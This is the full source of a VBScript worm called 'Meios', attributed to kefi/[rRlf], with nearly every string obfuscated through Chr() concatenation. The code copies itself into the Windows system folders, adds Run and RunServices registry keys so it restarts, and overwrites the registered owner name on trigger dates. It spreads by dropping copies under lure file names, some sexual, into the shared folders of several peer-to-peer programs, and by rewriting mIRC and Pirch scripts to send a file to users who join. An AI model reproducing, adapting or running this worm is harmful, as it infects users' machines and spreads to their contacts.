'Meios ... by kefi/[rRlf] ... Kefi@rRlf.de ... http://vx.netlux.org/~kefi ... dim x,num on error resume next dday = Day(Now()) mmonth = Month(Now()) If dday = 15 And mmonth = 10 Then MsgBox Chr(72) + Chr(97) + Chr(112) + Chr(112) + Chr(121) + Chr(32) + Chr(66) + Chr(105) + Chr(114) + Chr(116) + Chr(104) + Chr(100) + Chr(97) + Chr(121) + Chr(32) + Chr(75) + Chr(101) + Chr(102) + Chr(105) + Chr(33), vbExclamation, Chr(77) + Chr(101) + Chr(105) + Chr(111) + Chr(115) + Chr(32) + Chr(98) + Chr(121) + Chr(32) + Chr(75) + Chr(101) + Chr(102) + Chr(105) + Chr(47) + Chr(91) + Chr(114) + Chr(82) + Chr(108) + Chr(102) + Chr(93) + Chr(32) shell.regwrite Chr(72) + Chr(75) + Chr(76) + Chr(77) + Chr(92) + Chr(83) + Chr(79) + Chr(70) + Chr(84) + Chr(87) + Chr(65) + Chr(82) + Chr(69) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(101) + Chr(103) + Chr(105) + Chr(115) + Chr(116) + Chr(101) + Chr(114) + Chr(101) + Chr(100) + Chr(79) + Chr(119) + Chr(110) + Chr(101) + Chr(114),Chr(75) + Chr(101) + Chr(102) + Chr(105) ElseIf dday = 23 And mmonth = 11 Then MsgBox Chr(72) + Chr(111) + Chr(108) + Chr(121) + Chr(32) + Chr(115) + Chr(104) + Chr(105) + Chr(116) + Chr(33) & vbCrLf & Chr(73) + Chr(116) + Chr(32) + Chr(39) + Chr(115) + Chr(32) + Chr(78) + Chr(111) + Chr(118) + Chr(101) + Chr(109) + Chr(98) + Chr(101) + Chr(114) + Chr(32) + Chr(50) + Chr(51) + Chr(114) + Chr(100) + Chr(33), vbInformation, Chr(77) + Chr(101) + Chr(105) + Chr(111) + Chr(115) + Chr(32) + Chr(70) + Chr(117) + Chr(99) + Chr(107) + Chr(115) shell.regwrite Chr(72) + Chr(75) + Chr(76) + Chr(77) + Chr(92) + Chr(83) + Chr(79) + Chr(70) + Chr(84) + Chr(87) + Chr(65) + Chr(82) + Chr(69) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(101) + Chr(103) + Chr(105) + Chr(115) + Chr(116) + Chr(101) + Chr(114) + Chr(101) + Chr(100) + Chr(79) + Chr(119) + Chr(110) + Chr(101) + Chr(114),Chr(75) + Chr(101) + Chr(102) + Chr(105) ElseIf dday = Int(Rnd * 7) + 1 And mmonth = Int(Rnd * 7) + 1 Then MsgBox Chr(89) + Chr(111) + Chr(117) + Chr(32) + Chr(115) + Chr(116) + Chr(117) + Chr(112) + Chr(105) + Chr(100) + Chr(32) + Chr(102) + Chr(117) + Chr(99) + Chr(107) + Chr(46) + Chr(46) + Chr(46), , Chr(109) + Chr(101) + Chr(105) + Chr(111) + Chr(115) shell.regwrite Chr(72) + Chr(75) + Chr(76) + Chr(77) + Chr(92) + Chr(83) + Chr(79) + Chr(70) + Chr(84) + Chr(87) + Chr(65) + Chr(82) + Chr(69) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(101) + Chr(103) + Chr(105) + Chr(115) + Chr(116) + Chr(101) + Chr(114) + Chr(101) + Chr(100) + Chr(79) + Chr(119) + Chr(110) + Chr(101) + Chr(114),Chr(75) + Chr(101) + Chr(102) + Chr(105) ElseIf dday = 5 And mmonth = 1 Then MsgBox Chr(74) + Chr(97) + Chr(110) + Chr(117) + Chr(97) + Chr(114) + Chr(121) + Chr(32) + Chr(48) + Chr(53) + Chr(44) + Chr(32) + Chr(50) + Chr(48) + Chr(48) + Chr(51) + Chr(32) + Chr(77) + Chr(101) + Chr(105) + Chr(111) + Chr(115) + Chr(32) + Chr(119) + Chr(97) + Chr(115) + Chr(32) + Chr(99) + Chr(114) + Chr(101) + Chr(97) + Chr(116) + Chr(101) + Chr(100) + Chr(33) & vbCrLf & Chr(98) + Chr(121) + Chr(32) + Chr(75) + Chr(101) + Chr(102) + Chr(105) + Chr(47) + Chr(91) + Chr(114) + Chr(82) + Chr(108) + Chr(102) + Chr(93), vbInformation, Chr(109) + Chr(101) + Chr(105) + Chr(111) + Chr(115) shell.regwrite Chr(72) + Chr(75) + Chr(76) + Chr(77) + Chr(92) + Chr(83) + Chr(79) + Chr(70) + Chr(84) + Chr(87) + Chr(65) + Chr(82) + Chr(69) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(101) + Chr(103) + Chr(105) + Chr(115) + Chr(116) + Chr(101) + Chr(114) + Chr(101) + Chr(100) + Chr(79) + Chr(119) + Chr(110) + Chr(101) + Chr(114),Chr(75) + Chr(101) + Chr(102) + Chr(105) End If set fso = CreateObject(Chr(83) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) + Chr(105) + Chr(110) + Chr(103) + Chr(46) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(83) + Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Chr(79) + Chr(98) + Chr(106) + Chr(101) + Chr(99) + Chr(116)) set Shell = WScript.CreateObject(Chr(87) + Chr(83) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) + Chr(46) + Chr(83) + Chr(104) + Chr(101) + Chr(108) + Chr(108)) meios = WScript.ScriptFullName dirwin = fso.getspecialfolder(Chr(48)) dirsys = fso.getspecialfolder(Chr(49)) fso.copyfile meios,dirwin & Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(68) + Chr(76) + Chr(76) + Chr(46) + Chr(118) + Chr(98) + Chr(115) fso.copyfile meios,dirsys & Chr(92) + Chr(77) + Chr(83) + Chr(75) + Chr(101) + Chr(114) + Chr(110) + Chr(101) + Chr(108) + Chr(46) + Chr(118) + Chr(98) + Chr(115) shell.regwrite Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(76) + Chr(79) + Chr(67) + Chr(65) + Chr(76) + Chr(95) + Chr(77) + Chr(65) + Chr(67) + Chr(72) + Chr(73) + Chr(78) + Chr(69) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(117) + Chr(110) + Chr(92) + Chr(77) + Chr(83) + Chr(75) + Chr(101) + Chr(114) + Chr(110) + Chr(101) + Chr(108), dirsys & Chr(92) + Chr(77) + Chr(83) + Chr(75) + Chr(101) + Chr(114) + Chr(110) + Chr(101) + Chr(108) + Chr(46) + Chr(118) + Chr(98) + Chr(115) shell.regwrite Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(76) + Chr(79) + Chr(67) + Chr(65) + Chr(76) + Chr(95) + Chr(77) + Chr(65) + Chr(67) + Chr(72) + Chr(73) + Chr(78) + Chr(69) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(117) + Chr(110) + Chr(83) + Chr(101) + Chr(114) + Chr(118) + Chr(105) + Chr(99) + Chr(101) + Chr(115) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(68) + Chr(76) + Chr(76),dirwin & Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(68) + Chr(76) + Chr(76) + Chr(46) + Chr(118) + Chr(98) + Chr(115) PgDir = Shell.RegRead(Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(76) + Chr(79) + Chr(67) + Chr(65) + Chr(76) + Chr(95) + Chr(77) + Chr(65) + Chr(67) + Chr(72) + Chr(73) + Chr(78) + Chr(69) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(80) + Chr(114) + Chr(111) + Chr(103) + Chr(114) + Chr(97) + Chr(109) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(115) + Chr(68) + Chr(105) + Chr(114)) KaZaA = (PgDir & Chr(92) + Chr(75) + Chr(97) + Chr(122) + Chr(97) + Chr(97) + Chr(92) + Chr(77) + Chr(121) + Chr(32) + Chr(83) + Chr(104) + Chr(97) + Chr(114) + Chr(101) + Chr(100) + Chr(32) + Chr(70) + Chr(111) + Chr(108) + Chr(100) + Chr(101) + Chr(114)) & Chr(92) KL = (PgDir & Chr(92) + Chr(75) + Chr(97) + Chr(90) + Chr(97) + Chr(65) + Chr(32) + Chr(76) + Chr(105) + Chr(116) + Chr(101) + Chr(92) + Chr(77) + Chr(121) + Chr(32) + Chr(83) + Chr(104) + Chr(97) + Chr(114) + Chr(101) + Chr(100) + Chr(32) + Chr(70) + Chr(111) + Chr(108) + Chr(100) + Chr(101) + Chr(114)) & Chr(92) Morpheus = (PgDir & Chr(92) + Chr(77) + Chr(111) + Chr(114) + Chr(112) + Chr(104) + Chr(101) + Chr(117) + Chr(115) + Chr(92) + Chr(77) + Chr(121) + Chr(32) + Chr(83) + Chr(104) + Chr(97) + Chr(114) + Chr(101) + Chr(100) + Chr(32) + Chr(70) + Chr(111) + Chr(108) + Chr(100) + Chr(101) + Chr(114)) & Chr(92) Grokster = (PgDir & Chr(92) + Chr(71) + Chr(114) + Chr(111) + Chr(107) + Chr(115) + Chr(116) + Chr(101) + Chr(114) + Chr(92) + Chr(77) + Chr(121) + Chr(32) + Chr(71) + Chr(114) + Chr(111) + Chr(107) + Chr(115) + Chr(116) + Chr(101) + Chr(114)) & Chr(92) BearShare = (PgDir & Chr(92) + Chr(66) + Chr(101) + Chr(97) + Chr(114) + Chr(83) + Chr(104) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(83) + Chr(104) + Chr(97) + Chr(114) + Chr(101) + Chr(100)) & Chr(92) Edonkey = (PgDir & Chr(92) + Chr(69) + Chr(100) + Chr(111) + Chr(110) + Chr(107) + Chr(101) + Chr(121) + Chr(50) + Chr(48) + Chr(48) + Chr(48) + Chr(92) + Chr(73) + Chr(110) + Chr(99) + Chr(111) + Chr(109) + Chr(105) + Chr(110) + Chr(103)) & Chr(92) if fso.fileexisits(Chr(67) + Chr(58) + Chr(92) + Chr(112) + Chr(105) + Chr(114) + Chr(99) + Chr(104) + Chr(57) + Chr(56) + Chr(92) + Chr(101) + Chr(118) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(105) + Chr(110) + Chr(105)) then set Pirch = fso.createtextfile(Chr(67) + Chr(58) + Chr(92) + Chr(112) + Chr(105) + Chr(114) + Chr(99) + Chr(104) + Chr(57) + Chr(56) + Chr(92) + Chr(101) + Chr(118) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(105) + Chr(110) + Chr(105), true) Pirch.write PirchWerm Pirch.Close end if if fso.fileexists(Chr(67) + Chr(58) + Chr(92) + Chr(109) + Chr(105) + Chr(114) + Chr(99) + Chr(92) + Chr(115) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) + Chr(46) + Chr(105) + Chr(110) + Chr(105)) then set mIRC = fso.createtextfile(Chr(67) + Chr(58) + Chr(92) + Chr(109) + Chr(105) + Chr(114) + Chr(99) + Chr(92) + Chr(115) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) + Chr(46) + Chr(105) + Chr(110) + Chr(105), true) mIRC.write mIRCWerm mIRC.close end if For num = 0 To 19 names = Array(Chr(89) + Chr(111) + Chr(117) + Chr(110) + Chr(103) + Chr(32) + Chr(116) + Chr(101) + Chr(101) + Chr(110) + Chr(46) + Chr(106) + Chr(112) + Chr(103) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(72) + Chr(111) + Chr(116) + Chr(32) + Chr(71) + Chr(105) + Chr(114) + Chr(108) + Chr(46) + Chr(106) + Chr(112) + Chr(103) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(80) + Chr(117) + Chr(115) + Chr(115) + Chr(121) + Chr(46) + Chr(106) + Chr(112) + Chr(103) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(116) + Chr(101) + Chr(101) + Chr(110) + Chr(32) + Chr(115) + Chr(101) + Chr(120) + Chr(46) + Chr(106) + Chr(112) + Chr(103) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(98) + Chr(105) + Chr(103) + Chr(32) + Chr(98) + Chr(111) + Chr(111) + Chr(98) + Chr(115) + Chr(46) + Chr(106) + Chr(112) + Chr(103) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(83) + Chr(101) + Chr(120) + Chr(32) + Chr(84) + Chr(105) + Chr(112) + Chr(115) + Chr(46) + Chr(100) + Chr(111) + Chr(99) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(76) + Chr(111) + Chr(114) + Chr(100) + Chr(32) + Chr(111) + Chr(102) + Chr(32) + Chr(116) + Chr(104) + Chr(101) + Chr(32) + Chr(114) + Chr(105) + Chr(110) + Chr(103) + Chr(115) + Chr(46) + Chr(100) + Chr(111) + Chr(99) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(72) + Chr(111) + Chr(119) + Chr(32) + Chr(84) + Chr(111) + Chr(32) + Chr(82) + Chr(105) + Chr(112) + Chr(32) + Chr(68) + Chr(86) + Chr(68) + Chr(115) + Chr(46) + Chr(100) + Chr(111) + Chr(99) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(101) + Chr(109) + Chr(105) + Chr(110) + Chr(101) + Chr(109) + Chr(32) + Chr(45) + Chr(32) + Chr(102) + Chr(117) + Chr(99) + Chr(107) + Chr(46) + Chr(109) + Chr(112) + Chr(51) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(114) + Chr(97) + Chr(112) + Chr(32) + Chr(46) + Chr(109) + Chr(112) + Chr(51) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(111) + Chr(114) + Chr(103) + Chr(97) + Chr(115) + Chr(109) + Chr(46) + Chr(109) + Chr(112) + Chr(51) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(111) + Chr(114) + Chr(103) + Chr(97) + Chr(115) + Chr(109) + Chr(46) + Chr(109) + Chr(112) + Chr(101) + Chr(103) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(116) + Chr(101) + Chr(101) + Chr(110) + Chr(32) + Chr(111) + Chr(114) + Chr(103) + Chr(97) + Chr(115) + Chr(109) + Chr(46) + Chr(109) + Chr(112) + Chr(101) + Chr(103) + Chr(46) + Chr(118) + Chr(98) + Chr(115) + Chr(32),_ Chr(116) + Chr(101) + Chr(101) + Chr(110) + Chr(32) + Chr(111) + Chr(114) + Chr(103) + Chr(97) + Chr(115) + Chr(109) + Chr(46) + Chr(109) + Chr(112) + Chr(51) + Chr(46) + Chr(118) + Chr(98) + Chr(115) + Chr(32),_ Chr(115) + Chr(107) + Chr(56) + Chr(32) + Chr(118) + Chr(105) + Chr(100) + Chr(101) + Chr(111) + Chr(46) + Chr(109) + Chr(112) + Chr(101) + Chr(103) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(98) + Chr(108) + Chr(111) + Chr(119) + Chr(106) + Chr(111) + Chr(98) + Chr(46) + Chr(97) + Chr(118) + Chr(105) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(103) + Chr(114) + Chr(101) + Chr(97) + Chr(116) + Chr(32) + Chr(98) + Chr(108) + Chr(111) + Chr(119) + Chr(106) + Chr(111) + Chr(98) + Chr(46) + Chr(97) + Chr(118) + Chr(105) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(116) + Chr(101) + Chr(101) + Chr(110) + Chr(32) + Chr(98) + Chr(108) + Chr(111) + Chr(119) + Chr(106) + Chr(111) + Chr(98) + Chr(46) + Chr(97) + Chr(118) + Chr(105) + Chr(46) + Chr(118) + Chr(98) + Chr(115),_ Chr(111) + Chr(114) + Chr(97) + Chr(108) + Chr(46) + Chr(97) + Chr(118) + Chr(105) + Chr(46) + Chr(118) + Chr(98) + Chr(115)) curfile = names(num) fso.copyfile meios, KaZaA & Chr(99) + Chr(117) + Chr(114) + Chr(102) + Chr(105) + Chr(108) + Chr(101) fso.copyfile meios, KL & curfile fso.copyfile meios, Morpheus & Chr(99) + Chr(117) + Chr(114) + Chr(102) + Chr(105) + Chr(108) + Chr(101) fso.copyfile meios, Grokster & Chr(99) + Chr(117) + Chr(114) + Chr(102) + Chr(105) + Chr(108) + Chr(101) fso.copyfile meios, BearShare & Chr(99) + Chr(117) + Chr(114) + Chr(102) + Chr(105) + Chr(108) + Chr(101) fso.copyfile meios, Edonkey & Chr(99) + Chr(117) + Chr(114) + Chr(102) + Chr(105) + Chr(108) + Chr(101) Next mIRCWerm = Chr(91) + Chr(115) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) + Chr(93) & vbcrlf & _ Chr(110) + Chr(48) + Chr(61) + Chr(111) + Chr(110) + Chr(32) + Chr(49) + Chr(58) + Chr(106) + Chr(111) + Chr(105) + Chr(110) + Chr(58) + Chr(42) + Chr(46) + Chr(42) + Chr(58) + Chr(32) + Chr(123) + Chr(32) + Chr(105) + Chr(102) + Chr(32) + Chr(40) + Chr(32) + Chr(36) + Chr(110) + Chr(105) + Chr(99) + Chr(107) + Chr(32) + Chr(33) + Chr(61) + Chr(36) + Chr(109) + Chr(101) + Chr(32) + Chr(41) + Chr(32) + Chr(123) + Chr(104) + Chr(97) + Chr(108) + Chr(116) + Chr(125) + Chr(32) + Chr(47) + Chr(100) + Chr(99) + Chr(99) + Chr(32) + Chr(115) + Chr(101) + Chr(110) + Chr(100) + Chr(32) + Chr(36) + Chr(110) + Chr(105) + Chr(99) + Chr(107) + Chr(32) + Chr(67) + Chr(58) + Chr(92) + Chr(109) + Chr(105) + Chr(114) + Chr(99) + Chr(92) + Chr(106) + Chr(111) + Chr(107) + Chr(101) + Chr(115) + Chr(46) + Chr(118) + Chr(98) + Chr(115) + Chr(32) + Chr(125) PirchWerm = Chr(91) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(115) + Chr(93) & vbcrlf & _ Chr(69) + Chr(110) + Chr(97) + Chr(98) + Chr(108) + Chr(101) + Chr(100) + Chr(61) + Chr(49) & vbcrlf &_ Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(54) & vbcrlf &_ Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(49) + Chr(61) + Chr(48) + Chr(48) + Chr(48) + Chr(45) + Chr(85) + Chr(110) + Chr(107) + Chr(110) + Chr(111) + Chr(119) + Chr(115) & vbcrlf & _ Chr(48) + Chr(48) + Chr(48) + Chr(45) + Chr(85) + Chr(110) + Chr(107) + Chr(110) + Chr(111) + Chr(119) + Chr(115) + Chr(69) + Chr(110) + Chr(97) + Chr(98) + Chr(108) + Chr(101) + Chr(100) + Chr(61) + Chr(49) & vbcrlf & _ Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(50) + Chr(61) + Chr(49) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(49) + Chr(48) + Chr(48) & vbcrlf & _ Chr(49) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(49) + Chr(48) + Chr(48) + Chr(69) + Chr(110) + Chr(97) + Chr(98) + Chr(108) + Chr(101) + Chr(100) + Chr(61) + Chr(49) & vbcrlf & _ Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(51) + Chr(61) + Chr(50) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(50) + Chr(48) + Chr(48) & vbcrlf & _ Chr(50) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(50) + Chr(48) + Chr(48) + Chr(69) + Chr(110) + Chr(97) + Chr(98) + Chr(108) + Chr(101) + Chr(100) + Chr(61) + Chr(49) & vbcrlf & _ Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(52) + Chr(61) + Chr(51) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(51) + Chr(48) + Chr(48) & vbcrlf & _ Chr(51) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(51) + Chr(48) + Chr(48) + Chr(69) + Chr(110) + Chr(97) + Chr(98) + Chr(108) + Chr(101) + Chr(100) + Chr(61) + Chr(49) & vbcrlf & _ Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(53) + Chr(61) + Chr(52) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(52) + Chr(48) + Chr(48) & vbcrlf & _ Chr(52) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(52) + Chr(48) + Chr(48) + Chr(69) + Chr(110) + Chr(97) + Chr(98) + Chr(108) + Chr(101) + Chr(100) + Chr(61) + Chr(49) & vbcrlf & _ Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(54) + Chr(61) + Chr(53) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(53) + Chr(48) + Chr(48) & vbcrlf & _ Chr(53) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(53) + Chr(48) + Chr(48) + Chr(69) + Chr(110) + Chr(97) + Chr(98) + Chr(108) + Chr(101) + Chr(100) + Chr(61) + Chr(49) & vbcrlf & _ Chr(91) + Chr(48) + Chr(48) + Chr(48) + Chr(45) + Chr(85) + Chr(110) + Chr(107) + Chr(110) + Chr(111) + Chr(119) + Chr(110) + Chr(115) + Chr(93) & vbcrlf & _ Chr(85) + Chr(115) + Chr(101) + Chr(114) + Chr(49) + Chr(61) + Chr(42) + Chr(33) + Chr(42) + Chr(64) + Chr(42) & vbcrlf & _ Chr(85) + Chr(115) + Chr(101) + Chr(114) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(49) & vbcrlf & _ Chr(69) + Chr(118) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(49) + Chr(61) + Chr(79) + Chr(78) + Chr(32) + Chr(74) + Chr(79) + Chr(73) + Chr(78) + Chr(58) + Chr(35) + Chr(58) + Chr(32) + Chr(47) + Chr(100) + Chr(99) + Chr(99) + Chr(32) + Chr(115) + Chr(101) + Chr(110) + Chr(100) + Chr(32) + Chr(36) + Chr(110) + Chr(105) + Chr(99) + Chr(107) + Chr(32) + Chr(67) + Chr(58) + Chr(92) + Chr(80) + Chr(105) + Chr(114) + Chr(99) + Chr(104) + Chr(57) + Chr(56) + Chr(92) + Chr(106) + Chr(111) + Chr(107) + Chr(101) + Chr(115) + Chr(46) + Chr(118) + Chr(98) + Chr(115) & vbcrlf & _ Chr(69) + Chr(118) + Chr(101) + Chr(110) + Chr(116) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(49) & vbcrlf & _ Chr(91) + Chr(49) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(49) + Chr(48) + Chr(48) + Chr(93) & vbcrlf & _ Chr(85) + Chr(115) + Chr(101) + Chr(114) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(48) & vbcrlf & _ Chr(69) + Chr(118) + Chr(101) + Chr(110) + Chr(116) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(48) & vbcrlf & _ Chr(91) + Chr(50) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(50) + Chr(48) + Chr(48) + Chr(93) & vbcrlf & _ Chr(85) + Chr(115) + Chr(101) + Chr(114) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(48) & vbcrlf & _ Chr(69) + Chr(118) + Chr(101) + Chr(110) + Chr(116) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(48) & vbcrlf & _ Chr(91) + Chr(51) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(51) + Chr(48) + Chr(48) + Chr(93) & vbcrlf & _ Chr(85) + Chr(115) + Chr(101) + Chr(114) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(48) & vbcrlf & _ Chr(69) + Chr(118) + Chr(101) + Chr(110) + Chr(116) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(48) & vbcrlf & _ Chr(91) + Chr(52) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(52) + Chr(48) + Chr(48) + Chr(93) & vbcrlf & _ Chr(85) + Chr(115) + Chr(101) + Chr(114) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(48) & vbcrlf & _ Chr(69) + Chr(118) + Chr(101) + Chr(110) + Chr(116) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(48) & vbcrlf & _ Chr(91) + Chr(53) + Chr(48) + Chr(48) + Chr(45) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(32) + Chr(53) + Chr(48) + Chr(48) + Chr(93) & vbcrlf & _ Chr(85) + Chr(115) + Chr(101) + Chr(114) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(48) & vbcrlf & _ Chr(69) + Chr(118) + Chr(101) + Chr(110) + Chr(116) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(61) + Chr(48)